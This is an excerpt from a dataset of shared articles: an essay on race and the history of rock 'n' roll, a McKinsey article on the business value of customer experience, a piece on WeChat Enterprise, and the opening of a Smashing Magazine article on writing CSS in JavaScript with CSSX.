deep sorrow is the unrelenting insistence of recording and motion picture companies upon purveying the most brutal, ugly, degenerate, vicious form of expression it has been my displeasure to hear - Naturally I refer to the bulk of rock 'n' roll. It fosters almost totally negative and destructive reactions in young people. It smells phony and false. It is sung, played and written for the most part by cretinous goons and by means of its almost imbecilic reiterations and sly, lewd - in plain fact, dirty - lyrics, and as I said before, it manages to be the martial music of every sideburned delinquent on the face of the earth ... this rancid-smelling aphorodisiac I deplore."" This created a momentary rift between Elvis and Sinatra fans. In fact, it illustrates that there were always trolls quick to call a celebrity out, even 'Ol Blue Eyes himself. Via letters to the editors of Herald-Express , teenage girl Elvis fans called Sinatra a ""crabapple"" after his denigrating comments. They went on to say, ""[Elvis] is a gentleman and if you and others had brains, you would know that he wiggles around because he shows what's in his heart. The reason Frank Sinatra doesn't like Elvis is because he can't wiggle around and he's just jealous. Why? Because he's an old croney."" It was around this time Doo-wop came to commercial prominence, and not only did it help simmer the flames sparked by rock, but it also helped cultivate the eventual Italian-American assimilation (in tandem with the rise of Philadelphia police officer Frank Rizzo, a real bruiser who climbed the ranks by cracking down and raiding speakeasies in black neighborhoods). Doo-wop did to rock 'n' roll what Sinatra and his previous generation of crooners did to jazz. In A Renegade History of the United States by Thaddeus Russell, it's described as [emphasis is mine], ""A style combining smooth vocal harmonies, romantic lyrics, and a stationary stage presence ...doo-wop was invented in the 1940s by black youth on street corners, but it shot to the top of the pop charts in the late 1950s when Italian Americans adopted it as their own -  just as most African American performers moved toward 'soul music.'"" This isn't putting doo-wop down, of course, or any groups that did get famous during that time (I love Dion and the Belmonts, it's just a shame The Turbans didn't get more play). As Billboard wrote all those years ago -  the blame isn't on the artists . The point is these trends were (next to profit) racially motivated. This sort of detrimental mindset stemmed from where a lot of detrimental mentalities stem from: the sheltered, repressed living rooms of American suburbs. Recall in the Ritchie Valens biopic, La Bamba, there's even reference that Donna's father disapproved of Valens simply because he was non-white, asking his daughter if he's ""I-talian"" and calling his rock music ""jungle music."" All of this certainly puts a heavier frame around "" The Day The Music Died ,"" an American tragedy eerily telling of the music world at the time. 1959 proved an apocalyptic year in music. It started with the fateful plane crash in February that took the lives of Valens, Buddy Holly, and J.P. ""the Big Bopper"" Richardson in one ruthless, horrific swoop. It ended in December with Chuck Berry, now one of the biggest pop stars in the country, getting arrested under moot allegations . Specifically, ""for transporting a minor across state lines for immoral purposes in violation of the Mann Act."" This, by the way, was shortly after he had established a racially integrated night club in St. Louis called Berry's Club Bandstand. Berry had won an appeal, claiming the judge's comments and attitude were racist, but after being retried, he was given a three year sentence. While in prison, Berry wrote a few songs, including ""You Never Can Tell,"" eternalized by Quentin Tarantino in 1994's Pulp Fiction . For the cherry on top, as mentioned, Alan Freed was thrown under the bus for payola - and the rest of us got stuck with Dick Clark on New Year's Eve for the next 50 years. Why did the committee single [Freed] out? Freed was abrasive. He consorted with black R&B musicians. He jive talked, smoked constantly and looked like an insomniac. Clark was squeaky clean, Brylcreemed, handsome and polite. At least on the surface. Once the grilling started, Freed's friends and allies in broadcasting quickly deserted him. He refused - ""on principle"" - to sign an affidavit saying that he'd never accepted payola. WABC fired him, and he was charged with 26 counts of commercial bribery. Freed escaped with fines and a suspended jail sentence. He died five years later, broke and virtually forgotten. As one can gather, Clark and the other DJ weasels were off the hook, and the rest is music industry history - something we need to make an discerned effort to divorce from actual music history. (The Dead Kennedys reminded us of that with their mock-new wave live single "" Pull My Strings ,"" which was a parody of ""My Sharona"" i.e. ""My Payola,"" and performed one-time-only in 1980 at the Bay Area Music Awards.) By the time ""Twist and Shout"" arrived to us from across the pond in 1964, rock 'n' roll had already taken one hell of bludgeoning. Who, I wonder, was able to hear anything over the inescapable screams of Beatlemania? The American Music Tradition of Integration, the White Negro & and the Hendrix Enigma Let's face it, rock 'n' roll opens up all kinds of cans of worms. Racial/cultural integration through music (along with a shit ton of alcohol) is intimately tied to the American tradition of protest and unruly congregation. In fact, it goes back to the first days of early America. In Renegade History , Russell speaks to the fact that in the late 1770s, American cities from Boston to New York to Philadelphia to Charleston were busting at the seams with rowdy taverns and public houses (aka pubs) on every corner. The average ratio was something sick like 1 tavern for every 100 residents. In the wake of America's independence, prominent figures like John Adams looked down on the new country's street culture - and its rhapsodically free commoners - with a certain resentment. Russell attributes it more to disgust. In a letter to James Warren , dated February 25, 1779, John Adams wrote, ""But the Delirium that rages is enough to induce every Man of sense and Virtue to abandon such an execrable Race, to their own Perdition. And if they could be ruined alone it would be just."" Furthering the sentiment, two years earlier, when Philadelphia was on the verge of falling to the British army led by General William Howe, Adams expressed to his wife that he would not lament such a loss, ""Because it would only lay the Foundations of American Independence deeper, and cement them stronger. It would cure Americans of their vicious and luxurious and effeminate Appetites, Passions and Habits, a more dangerous army to American Liberty that Mr. Howe's."" What kinds of attitudes, passions and habits was Adams talking about? Given the close density of these establishments (aka booze havens for the newly liberated), proprietors were in stiff competition with each other, and so, being astute entrepreneurs, they didn't turn away customers based on their race, gender, or class. Russell writes, ""[...] there was a public place where one could drink, sing, dance, have sex, argue politics, gamble, play games, or generally carouse with men, women, children, whites, blacks, Indians, the rich, the poor, and the middling. The Founding Fathers were keenly, painfully aware of this."" Russell gives us a glimpse of what someone of Adams' stature would've encountered walking into an everyday tavern [emphasis is mine]: Before he reached the front door, Adams would have heard white men fiddling Irish reels and black men pounding out driving African rhythms on hand drums, rattles, and wooden blocks. He would have heard a hybrid, flagrantly sexual sound that was the first American urban party music . As he opened the front door, Adams would have felt the vibrations of dancing feet on loose wooden floors. Once inside, the statesman's ears would have been assaulted by chants, responding chants, glasses clinking and breaking, laughing, and hollering of ""fuck,"" ""shit,"" ""bastard,"" and ""cunt."" He would have inhaled the stink of old beer and the sweet aroma of warm, rum-laden grog [...] he would have felt uncomfortably large inside the narrow, smoky, sweaty room that amplified the noise and made everyone very, very close [...] he would have seen white men and black men sitting together and drumming their fingers to the music on long wooden tables. He would have seen white women dancing with black men and black women dancing with white men. He would have seen prostitutes openly and shamelessly selling their services. And, quite possibly, he would have seen a woman behind the bar who not only served the drinks but also owned the place. Where some see depravity and vulgarity, others see liberation. Where some hear raging delirium, others hear music. Indeed, those who shared Adams' brand of liberty, with its elitist sense of puritanical morality , laid the foundations of American ""independence"" - and its consequently detrimental value systems still being inherited up to this day. There are those, though, that actively reject such bequeathed value systems. And it's this kind of rejection, deviation, transgression that not only lies at the root of what uninhibited Americana is all about, but it's become a left-handed American tradition unto itself. Fast forward to 1957, and Norman Mailer's ""white negro."" If this is a new term for you, it's because the word ""hipster"" has become not only such a commodity of the modern bourgeoisie ideal, but it's also become a derogatory moniker used to demarcate trend followers from their eye-rolling critics (who usually end up being trend followers themselves). The root meaning of ""hipster"" couldn't be further from its current use, and its intersection with the ""white negro"" and 50's beat culture is too often overlooked. The ""white negro"" is not referring to the more recent pejorative ""wigger,"" [think ""Pretty Fly (For A White Guy)"" by The Offspring]. The white negro is something else entirely. In his provocative essay (even by today's standards), Mailer attempts to frame an emerging American subculture, ""That post-war generation of adventurers who had absorbed the lessons of disillusionment and disgust of the Twenties, the Depression, and the War... No wonder then that these have been the years of conformity and depression. A stench of fear has come out of every pore of American life, and we suffer from a collective failure of nerve [...] It is on this bleak scene that a phenomenon has appeared: the American existentialist - the hipster, the man who knows that if our collective condition is to live with instant death by atomic war...or with a slow death by conformity with every creative and rebellious instinct stifled [...] the only life-giving answer is to accept the terms of death, to live with death as immediate danger, to divorce oneself from society, to exist without roots, to set out on that uncharted journey into the rebellious imperatives of the self... The unstated essence of Hip, its psychopathic brilliance... It is from here, Mailer locates the origin of hip within the black American experience, its howling expression via jazz, and its orgiastic collision with a growing legion of reckless white youth. ""If marijuana was the wedding, the child was the language of Hip [...] And in this wedding of the white and the black it was the Negro who brought the cultural dowry. Any Negro who wishes to live must live with danger from his first day, and no experience can ever be casual to him, no Negro can saunter down a street with any real certainty that violence will not visit him on his walk [...] So it is no accident that the source of Hip is the Negro for he has been living on the margin between totalitarianism and democracy for two centuries. But the presence of Hip as a working philosophy in the sub-worlds of American life is probably due to jazz, and its knife-like entrance into culture, its subtle but so penetrating influence on an avant-garde generation [...] The bohemian and the juvenile delinquent came face-to-face with the Negro, and the hipster was a fact of American life."" Here the inherent sexuality of jazz is highlighted. [...] The Negro could rarely afford the sophisticated inhibitions of civilization, and so he kept for his survival the art of the primitive, he lived in the enormous present, he subsisted for his Saturday night kicks, relinquishing the pleasures of the mind for the more obligatory pleasures of the body, and in his music he gave voice to the character and quality of his existence to his rage and the infinite qualities of joy, lust, languor, growl, cramp, pinch, scream and despair of his orgasm. For jazz is orgasm. It is the music of orgasm, good orgasm and bad. And so it spoke across a nation, it had the communication of art even where it was watered, perverted, corrupted, and almost killed, it spoke in no matter what laundered popular way of instantaneous existential states to which some whites could respond, it was indeed a communication by art because it said, 'I feel this, and now you do too.' We can start to see how and why rock 'n' roll was wrought out of a natural hybridity, and why the bourgeoisie didn't take too kindly to it. It wasn't just the white bourgeoisie, it was also felt among the more or less upwardly mobile black population that sought integration into white America. "" They have strongly internalized middle-class values emphasizing self-control, deferred gratification, achievement, extreme cleanliness and rigid moral standards. With their strong acceptance of these middle-class values, these Negroes are attempting to separate themselves from the supposed values of the Negro lower class and hipsters ."" In this light, MLK's adamant aversion to rock makes more sense. Ironically enough, the active and systematic deterrent of rock and its roots is antithetical to the very idea of cultural integration (or, rather, inclusion), and the effects were anything but short-lived. Fast forward 10 years: 1967. R&B-sideman-turned-mesmerizing-rocker Jimi Hendrix not only revolutionized the way the electric guitar was played, but he psychedelicized its form in a single performance. At the Monterey Pop Festival, 17 year-old Ed Caraeff was in the front row when the Jimi Hendrix Experience was playing its set. Having never heard the music before, nor of the band itself, Caraeff became a first-hand witness to one of the most powerful moments in American music history. Not long after Hendrix set his guitar ablaze, Caraeff, with literally the last shot on his roll of film, snapped one of rock's most iconic images. He even had to use his camera to shield his face from the flames Hendrix summoned higher with his fingers. The footage filmed by D. A. Pennebaker shows girls in the audience frozen in astonishment. ""Is this really happening?"" It was one of those moments when cheering is almost vulgar, like when there was no applause after Lincoln delivered the Gettysburg Address. ""I was in the audience, and I was appalled!"" Michelle Philips of the Mamas and the Papas recalls. ""It wasn't the sexuality of his show that appalled me. It was what he did to his instrument. Here he was throwing lighter fluid on his guitar and setting it on fire. I had never seen anything like that in life."" Was it something at once so sacred and so electric, it points to the spiritual - or more accurately, the essential? After all, it was the first declarative marriage between the blues and psychedelia: rock 'n' roll was given a mystical rebirth. By burning his guitar in effigy, did Hendrix ensure the salvation of unadulterated rock for anybody willing to embrace it? If the 1950's were the Old Testament days of rock, was Hendrix its anointed one here to die for all our sins? That's probably me being dramatic. But the question we should ask ourselves is: why, in 1967, was it so rare to see a black man not just fronting a major American rock band, but being arguably the best guitarist in the world - despite Chuck Berry having already blazed that trail a decade earlier? Could it have been because he wasn't strictly playing soul music? In the documentary, Jimi Hendrix: Hear My Train A Comin' , disc jockey Jim Ladd commented, ""Music was cast in terms of racial context, you know, R&B is black music, rock is white music. What you didn't see was a black man fronting a rock band - it just didn't happen before. A month after Monterey, the Are You Experienced album came out. Now you had graphics, now you could see what the Jimi Hendrix Experience looked like."" David Fricke of Rolling Stone vividly remembers Hendrix's arrival, ""When I saw that cover, I knew I wanted it. The fact that he was a black guitar player, for someone who was into rock 'n' roll, who knew Motown, who knew soul, for this to be a black American rock guitarist was something that I really wanted to know about."" Without even knowing it, Hendrix crossed an invisible line drawn by a prejudiced music industry, and effectively revived the raw sexuality intrinsic in rock 'n' roll, transmuting sex into sound, riffs into feedback improv noise, and ending in burning climax. ""When I play with my teeth, I do it because I feel like it."" Though many attribute the transformative, yet controversial rendition of the ""Star-Spangled Banner"" to that of a divided and volatile national climate, it's hard to ignore Hendrix's unabashed, orgasmic facial expressions and thrusting guitar work during that live 1969 performance at Woodstock. By this time, Hendrix was the highest-paid rock musician in the world, and he was mixing overt sexuality with nationalism. While critics were scrambling for some esoteric anti-war interpretation, Hendrix simply showed us the most direct way to make love to your country was through rock 'n' roll. ""What was the controversy about the national anthem and the way you played it?"" Dick Cavett asked him during a guest appearance . Hendrix just shook his head, ""I don't know, man. All I did was play it, I'm American, so I played it. I used to have to sing in school, they made me sing it in school. It was a flashback, you know. I never forgot it. We play it the way the air is in America today. The air is slightly static, see."" Had Hendrix lived, who knows what sonic territories he would've explored. His restlessness for discovery was already obvious with the breakup of the Jimi Hendrix Experience and his formation of Band of Gypsys, with Billy Cox on bass and Buddy Miles on drums (both black). My guess is he would've gone the way of those like Sun Ra & His Arkestra, and Parliament-Funkadelic mastermind George Clinton. He would've confronted the Afro-diaspora (i.e. exile), still very much apart of the black American experience, via the fusion of advancing technology and that mystical vision he so aptly and carelessly bled from his fingertips. As Mark Dery quoted journalist Gregg Tate in Flame Wars: the Discourse of Cyberculture , ""black people live in the estrangement that science fiction writers imagine."" He would've taken experimental cosmological jazz to new dimensions, marrying philosophical inquiry with technological speculation, and tapped into the potentialities of futurist prophecy long before Silicon Valley. It's like what he said during an interview when asked how much he relies on gimmicks, ""'Gimmicks,' here we go again, 'gimmicks.' I'm tired of people saying I rely on gimmicks. What is this? The world is nothing but a big gimmick, isn't it? Wars, napalm bombs, and all that. People get burned up on T.V., and it's nothing but a gimmick."" He knew as well as anybody (or better) that rock 'n' roll extends far beyond Mick Jagger frills, or even beyond lighting your guitar on fire. Hendrix understood that exile, not only as a black man in America, but as a rock 'n' roller in America. Erik Davis speaks to this in a chapter called ""Mad Science"" in Nomad Codes , ""The prophetic art that arises from this condition of perpetual exile does not simply escape from the pragmatic demands of politics. But neither does it deny the ark of the imagination that lies on the other side of the inner door - a trickster craft that navigates the shadowed valleys of this world, guided by a black star whose very invisibility renders its possibilities infinite."" Whatever Hendrix was, he was the only performer capable of reconciling the broken, racially-charged, and dichotomized state of rock 'n' roll. Alas, dust in the wind. Without forgetting to mention Hendrix's biggest single was the immortal cover of Bob Dylan's ""All Along The Watchtower,"" I'd like to get back to the still-living legend in his own right. When Dylan turned electric in 1965, it was seen as a betrayal to the folk genre, something a lot of fans hated and scorned him for, even to this day. In reality, the move from lone troubadour to electric frontman was, in fact, his total acknowledgment and loyalty to pure music Americana. Rock 'n' roll was a new art form that emerged with the deepened expansion of the American spirit. He was honoring his roots. ""I'm not a folk rock singer,"" he adamantly told the press. When asked by journalists why he didn't write protest songs anymore, he simply responded, ""Who said that? All I ever do is protest."" ADDENDUM Fast forward to 2016. What's happening in garages and makeshift basement studios across the country - the fourth wave of garage rock, as loosely described by Ty Segall - tells us that despite the turbulent effects of the digi-scape on all sectors of our culture in the 21st century (from music to cinema; from porn to taxi cabs), rock 'n' roll is not only still kicking, but it's thriving, and it's doing so in the illuminated dark, out of the mainstream limelight. Though it may be snatched or bought off the streets and shamelessly adulterated in corporate studios now and again (and forever doomed to the purgatory of PR subgenre-labeling), the current garage revival underway proves its spirit is what persists, and what returns to haunt the status quo. It still compels the young at heart to flock to live shows, it's still pulling teenagers out of the sanitized drudgery of strip mall suburbia, and, above all, it's still irking inhibited parents.",en
1461013219,CONTENT SHARED,-8194774279664546436,2416280733544962613,4872763507741402372,,,,HTML,http://www.mckinsey.com/business-functions/marketing-and-sales/our-insights/linking-the-customer-experience-to-value,Linking the customer experience to value,"Many customer-experience transformations stall because leaders can't show how these efforts create value. Patiently building a business case can fund them, secure buy-in, and build momentum. The road to failed customer-experience programs is paved with good intentions. Executives are quick to see the end-game benefits of a customer-centric strategy: more satisfied customers, increased loyalty, a lower cost to serve, and more engaged employees. But they often fail to understand clearly what a superior customer experience is worth and exactly how it will generate value. At a recent roundtable, fewer than half of the customer-experience leaders present could say what ten points of net promoter score would be worth to their businesses. Improving the customer experience Many companies begin their efforts to change the customer experience with a broad aspiration to transform it. Executives launch disruptive initiatives to delight customers with bold moves and innovations. But they often fail to quantify the economic outcomes of differences in customer experiences, so their efforts end up having clear costs and unclear near-term results. Customer-experience transformations invariably raise questions about business policies, cross-functional priorities, and how to invest in innovation. Without a quantified link to value and a sound business case, such efforts often can't show early gains, build momentum among functional executives, and earn a seat at the strategy table. They stall before they ever really get going. There is a better way, anchored in science, fresh research, and a structured methodology. We also find that the most successful programs are self-funding-early wins remove costs from the system and simplify the business. Those savings can then fund medium-term initiatives to innovate, to change the trajectory of the customer experience, and to support some of the boldest actions. With a self-funding business case, a customer-experience program can maintain momentum and build buy-in throughout an organization. Make no mistake, however: building an unambiguous link between the customer experience and value requires patience and discipline to invest early in an analytic approach. It is easy to skip this step for the sake of speed, but that is a mistake every time. When establishing a link to value is done well, it provides a clear view of what matters to customers, where to focus, and how to keep the customer experience high on the list of strategic priorities. In essence, getting the logic and the math right for a successful program requires a structured approach and real science to achieve three objectives: building an explicit link to value, directing investments to where they will do the most good, and designing a detailed road map populated with early successes to self-fund the transformation. Building an explicit link to value Companies investing to improve the customer experience must be clearer about what it is actually worth and exactly how the improvements will generate value. To construct this link, start by defining the customer behavior that creates value for your business and then follow customer satisfaction over time to quantify the economic outcomes of different experiences. Several steps can help. Develop a hypothesis about customer outcomes that matter. Start by identifying the specific customer behavior and outcomes that underpin value in your industry. For example, in the telecom sector, more satisfied customers should be less likely to churn, have fewer issues that escalate into calls, and sign up for more products. Airlines will focus on capturing a greater share of trips and trip revenues and on lowering the cost to serve. Business outcomes will vary by industry, but the principle is the same-postulate three to five hypotheses about the outcome measures that deliver value. Link what customers say to what they do. The next step is to link what customers say in satisfaction surveys with their behavior over time. Begin by building a customer-level data set of the results of past surveys that asked respondents about their overall satisfaction or willingness to recommend your products or services. Using an email or customer identifier (with due regard to customer privacy concerns and in compliance with applicable regulations, of course), most companies can link survey results back to their databases. Query your customer database to pull down two to three years of monthly data for each priority outcome measure. For example, a pay-TV company matched its historical willingness-to-recommend survey responses at a customer level, on the one hand, with two years of monthly data on customer retention, cost to serve, revenues, product upgrades, and referrals, on the other. This type of link will form the backbone of your customer-experience data analysis. Analyze the historical performance of real customer cohorts. Using customer data linked to survey respondents, analyze customers you designate as satisfied, neutral, or dissatisfied over a period of one to two years. How much less subject to churn are satisfied customers than dissatisfied ones? What about generating expensive calls, adding additional lines of business, or defaulting on loans? For each group of customers and segments, summarize the one- to two-year outcomes. Those with larger differences among dissatisfied, neutral, and satisfied customers tend to link more solidly to value. Leading customer-experience companies use these data to estimate the value, at an enterprise level, of moving 5 percent of their dissatisfied customers to a neutral status. Look at the trend to take a forward-looking view. Successful customer-experience programs look forward, not backward, in assessing the link to value. Building a business case solely on backward loyalty data may overinflate the economics in ways that bias investment decisions. For example, since 2009 the stated loyalty of customers has dropped by 20 percent for pay-TV companies that provide an average customer experience. By looking at year-over-year changes in outcome measures for dissatisfied, neutral, and satisfied customers, companies can build a view of where the link to value is heading. Track outcomes. In our experience, the best approach to quantify the value of the customer experience is to track outcomes over time for each customer segment that matters. To set priorities and quantify payouts for improving the customer experience, every company with a program to improve it should be able to link satisfaction directly to business outcomes. Directing investments to where they will do the most good To be confident that your customer-experience program will generate a positive return on investment, building a link to value is necessary but not sufficient. The next step-where most companies fall short-is to base priorities for initiatives and opportunities on their importance to customers. What matters to customers To do this well, a company must create a model of what matters to customers, a graded short list of customer pain points to eliminate or fix, and a view of opportunities to innovate as seen from the customer's perspective. A number of actions can be taken. Focus on customer-satisfaction issues with the highest payouts. Customer-experience break points are not standard across industries. For example, in health insurance, improving the experience of customers who are dissatisfied with the service so that they become merely passive about it has more economic impact than migrating such ""passives"" to the category of people willing to promote the service. However, in retail banking, every promoter does matter-moving someone from the 80th to the 90th percentile of satisfaction has a significant economic payout. Using the link-to-value analysis outlined earlier, determine if it would be more valuable to reduce the number of detractors or to create more promoters, and then focus your portfolio of customer initiatives on achieving that goal to maximize the return on your investment from the start. Build a model around what matters to customers. End-to-end customer journeys, not individual touchpoints, are the unit to measure when setting priorities for your customer-experience investments. Why? Our research has found that journey performance is significantly more strongly linked to economic outcomes than are touchpoints alone. Modeling customer satisfaction around journeys rather than touchpoints enables you to estimate the most important end-to-end journeys across customer segments. Start by rethinking the scope of existing surveys. Test whether they cover the most important customer journeys and lesser elements of customer satisfaction. Next, expand your customer data set so that it links up with operational data, as well as input from employees and customers. Finally, you can use advanced ""derived importance"" analytics, such as Johnson relative weights, to build a model of customer satisfaction that links perceived and operational performance on each journey with long-term costs and revenues. In addition to identifying the most important journeys, supplement the model by exploring how consistently you perform. In our experience, improving your consistency in delivering a flawless customer journey is often one of the best ways to create value. A flawless onboarding journey, for example, might entail a single sales phone call, zero callbacks, service activation within 48 hours, active usage in the first ten days, and no issues on the first bill. A company may be 80 to 90 percent successful at each stage of that sequence, but only 30 to 40 percent of customers will have a flawless experience end to end. Done well, the satisfaction model will also help you measure the value of consistent performance. Within journeys that matter, size and set priorities for key areas to improve. Once you know the journeys to focus on, assemble a cross-functional team to dig into possible initiatives to improve your performance. What pain points or opportunities will help you differentiate your company? Where do you want to focus first? To create a set of pain points, analyze the voice of the customer, starting with the driver model above. But extend it into specific operational surveys, focus groups with customers who recently undertook the journey in question, and deep structured interviews to highlight pain points, missed expectations, and opportunities to differentiate. In parallel, the voice of the employee will help you gather the experience of those who know customers best-the front line. Use site visits, employee focus groups, and supervisor interviews to construct a map of the current journey and a short list of pain points, complexities, and opportunities to streamline. Once you have listed the pain points, size the potential impact of each, using three measures: reducing the cost to serve, capturing longer-term revenues and loyalty, and improving overall satisfaction. In the customer-experience area, the most concrete business cases are often built on a near-term reduction in the cost to serve: fewer calls, escalations, technician visits, and so on. These moves remove both customer pain points and costs from the system. Then measure longer-term outcomes. For example, mobile customers who dispute their first bill are less likely to remain active 12 months later-a lagging effect common across many industries. Finally, for each journey, size the potential impact of improvements at every pain point on overall customer-satisfaction scores. Moreover, what does the model you have created suggest about the value of customer-satisfaction improvements over time? Taken together, the near-term cost, medium-term loyalty, and overall-satisfaction analysis will help you set priorities for addressing specific pain points in the journeys that matter. Identify opportunities to innovate and disrupt in competitive white spaces. While eliminating pain points for customers is important, it is equally critical to identify areas where you can differentiate your company from competitors as customer expectations change. For example, retail-banking customers increasingly want a digital, branchless, and paperless experience. Getting ahead of that trend is far more important than incrementally improving the branch experience. Where else can you innovate? Voice-of-customer analysis can provide a starting list of disruptive ideas. How else can you decide where to innovate? First, focus innovation resources either on important customer-experience journeys where you have a large gap against competitors or on reasonably important journeys where the gap is narrow or unclear. The model described above will help you estimate the potential for disruption in those areas. Second, look at your operational data for digital-innovation opportunities. Which customer journeys drive the largest number of calls? For example, a typical banking customer of the diversified financial-services group United Services Automobile Association would make multiple calls to obtain a new car loan. USAA turned this process into an online digital-loan-origination solution. Journeys that generate more than six calls per customer are leading opportunities for digital innovation; you can build an economic case around reducing the cost to serve customers and promoting loyalty by engaging them more intensely. Third, conduct ethnographic research to follow customers in their daily lives and identify unmet needs and innovation ideas. Then assess these ideas against the customer-satisfaction model to estimate the potential impact. Designing a road map with early successes to self-fund improvements So far, you have analyzed what matters to customers, set your priorities for customer journeys, and weighed the importance of initiatives. Now you can construct a transformation road map backed by a clear business case. Many customer-experience efforts lose momentum because the path to impact is too slow or too vague. Efforts to improve near-term quarterly performance can therefore sweep aside initiatives to improve customer-satisfaction scores. To overcome that risk, successful efforts construct road maps that ring the cash register in the near term, fund themselves in the medium term, and make a long-term impact anchored in a model of the things that matter most to customers. To create that road map, it can help to follow these steps. Calculate each initiative's expected value, time to capture, and cost to implement The exploration of what matters most to customers should unearth the value of initiatives under consideration and help to crystallize a short list of priority efforts. With that in hand, convert an initiative's overall potential impact into an expected value by combining the severity of an incident or opportunity (for instance, its magnitude of impact, whether it is positive or negative, or when it occurs) with its frequency (say, how often all or part of the customer base is affected). For example, a telecom company would consider a phone's technical failure a severe but infrequent event. By contrast, surprise billing changes are less severe as individual events but happen all the time. Addressing the customer shock from billing changes almost always represents greater overall value. For each of these examples (and others), a cross-functional team must then estimate the time needed to capture the value at stake. If the expected benefit is reducing customer churn or boosting future revenues, a payoff may not be visible for more than 12 months. Finally, estimate implementation costs. In a smart sequencing, you want to order and balance multiple initiatives: those that will affect the largest number of customers, that will pay off quickly, and that address the most severe problems or the most important areas to exploit. Separate initiatives to help balance the portfolio To achieve the right balance and sequence, two dimensions are critical. First, some initiatives, such as simplifying billing or revising rules on issuing customer credits, will be policy driven. Others, such as enhancing the skills and training of field technicians or boosting customer-service skills at a retail bank, will require a frontline field rollout. In general, policy initiatives can be directed centrally and are therefore faster to implement than field-driven initiatives requiring disciplined rollouts in waves. A well-sequenced road map balances both types of initiatives throughout. Second, some initiatives will affect nearly all customers, and some will be severe opportunities that affect only a few. A good sequencing balances both because companies must ensure that a majority of their customers experience the change in some way. An overemphasis on severe incidents and opportunities is a common blind spot. Design a balanced road map that will signal success and fund itself With the expected value, cost, and impact timetable for each initiative in hand, and with a clear sense of which initiatives can be undertaken centrally and which require a rollout in the field, operators will have enough information to build a well-sequenced road map. Keep in mind a few design principles: Ensure some quick wins early. For example, make a policy change that is easy to implement, even if its impact is relatively small. Tackle at least one sacred cow in the early going to signal that you are serious. Every company has them-often, some pricing or policy element that the organization knows to be customer unfriendly but generates such high earnings that most executives shy away from unwinding it. Armed with a robust fact base, leaders can demonstrate the value of piloting such initiatives. Balance severe incidents and opportunities with frequent ones-make sure the road map will touch all customers and all employees in some way within the first year. Finally, use the early wins to finance investments in longer-term solutions-for example, upgrading systems or easing logjams in IT. Armed with your analysis of what matters to customers, you will typically find constructing the business case to be straightforward. Many companies begin customer-experience efforts with lofty ambitions but a poor grounding in linking programs to value. There is a better way. Take the time to construct a self-funding business case and you will reap company-wide buy-in as your reward. That will anchor your customer-experience program and pay dividends long after the up-front months needed to do it right have passed into history. About the author(s) Joel Maynes is an associate principal in McKinsey's Southern California office, and Alex Rawson is a principal in the Seattle office. The authors wish to thank Brooke Boyarsky and Will Enger for their contributions to this article.",en
1461021707,CONTENT SHARED,6850500272809381909,-1032019229384696495,1310371857892872479,,,,HTML,https://www.techinasia.com/wechat-slack-enterprise-chat-app-launch,WeChat's competitor to Slack has arrived,"Today, WeChat launched version 1.0 of its hotly-anticipated office chat app, WeChat Enterprise . WeSlack (not its real name, but it does have a nice ring to it) is free, is only available in Chinese via apps for iOS, Android, Windows, and OS X. But using the program isn't quite as simple as just downloading and logging in - as we found out below. Business casual Like we said at the app's announcement , WeChat Enterprise includes a number of features that are familiar territory to those who have used business chat apps. But it also has some welcome innovations. The service can essentially replace group email, and make quick chats between colleagues easier. It has useful add-ons like the ability for an employee to mark when they are on a break, hold group voice/text chats, and allows for companies to build in specific features like automated forms for reimbursements, vacations, and the like. Employees can even make calls via WeChat Enterprise that are charged to their company's bill - an offer that we haven't seen in similar office chat programs. WeSlack (sorry, but that is a catchy name) also allows for users to embrace their less formal side, with support for the personal chat client's emoticons and animated stickers. According to a post on QQ Tech - a website owned by WeChat's parent company, Tencent - the service has been in a closed beta since early March. To register on WeSlack, you need an official Chinese business license. While today technically marks the service's launch, it's not quite as easy to use WeChat Enterprise as it is to start up a random Slack group. Companies that already have official business WeChat accounts (as many Chinese companies do) are already registered, and just need to go through a few steps on the WeChat Enterprise website . But if you're a small startup - or not in China - you may be out of luck for now. To register on WeChat Enterprise, you need an official Chinese business license. There is no word on if/when the service will be available outside of the country. If you work for a Chinese company and are determined to take WeChat Enterprise for a spin, now is the time to message your boss and tell them to register with Tencent. If they agree, then that may be one of the last work emails you'll need to send for a while.",en
1461021912,CONTENT SHARED,-3760006690401014603,-1032019229384696495,1310371857892872479,,,,HTML,https://www.smashingmagazine.com/2016/04/finally-css-javascript-meet-cssx/,"Finally, CSS In JavaScript! Meet CSSX - Smashing Magazine","JavaScript is a wonderful language. It's rich, it's dynamic, and it's so tightly coupled to the web nowadays. The concept of writing everything in JavaScript doesn't sound so crazy anymore. First, we started writing our back end in JavaScript , and then Facebook introduced JSX , in which we mix HTML markup with JavaScript. Why not do the same for CSS? Imagine a web component distributed as a single .js file and containing everything - markup, logic and styles. We would still have our basic style sheets, but the dynamic CSS would be a part of JavaScript. Now this is possible, and one way to achieve it is with CSSX . CSSX is a project that swallowed my spare time for a month. It was challenging and interesting, and it definitely pushed me to learn a lot of new stuff. The result is a set of tools that allows you to write vanilla CSS in JavaScript. Similar to JSX, CSSX offers encapsulation. Being able to see all parts of a single component is a big step forward. The separation of concerns defined development for years, but the web is changing. Very often, we'll work entirely in the browser, and Facebook's approach with JSX makes a lot of sense. Understanding what is going on is easier when everything is in one place. We bind parts of JavaScript to parts of HTML anyway. By mixing both together, we're just making these bindings explicit. If it works for HTML, it would definitely work for CSS. The Concept Link My thinking around putting CSS in JavaScript dates back to 2013, when I created a library that started as a CSS preprocessor but that I converted to a client-side tool. The idea was simple: Convert object literals to valid CSS, which is later applied to the page. The styles ""travel"" with the JavaScript. They are bundled together, and you don't have to manage external style sheets. While I was experimenting with this approach, I identified two issues: Flash of unstyled text (FOUT) was the first problem. If we rely on JavaScript to deliver the CSS, then the user will see unstyled content for a second (or more) before getting the styled page. This results in layout shifts and leads to a bad user experience. The second problem is that there is no style sheet. There are plenty of examples of styles being applied with JavaScript, but most of them are inline styles. In other words, they modify the style property of the DOM element. That's fine, but we can't go through all of the elements that need styling and change their attributes. Also, not everything can be placed in a style attribute - media queries and pseudo-classes, for example. My goal was to solve these two problems, and I started shaping a solution. The following image illustrates how I imagined working with CSS in JavaScript: 6 ( View large version 7 ) There would be a library that stands between your code and the actual styles applied to the page. Its responsibility would be to create a virtual style sheet, and it would associate a <style> tag with it. Then, it would provide an API for managing CSS rules. Every interaction with your JavaScript style sheet would be mirrored to the injected <style> tag. With this approach, you would keep the dynamic styles tightly coupled to the JavaScript that controls it. You wouldn't have to define new CSS classes because you would generate the CSS rules on the fly at runtime. I prefer to generate and inject CSS because inline styling doesn't scale. It's technically easy, but it simply doesn't scale. If there is CSS in 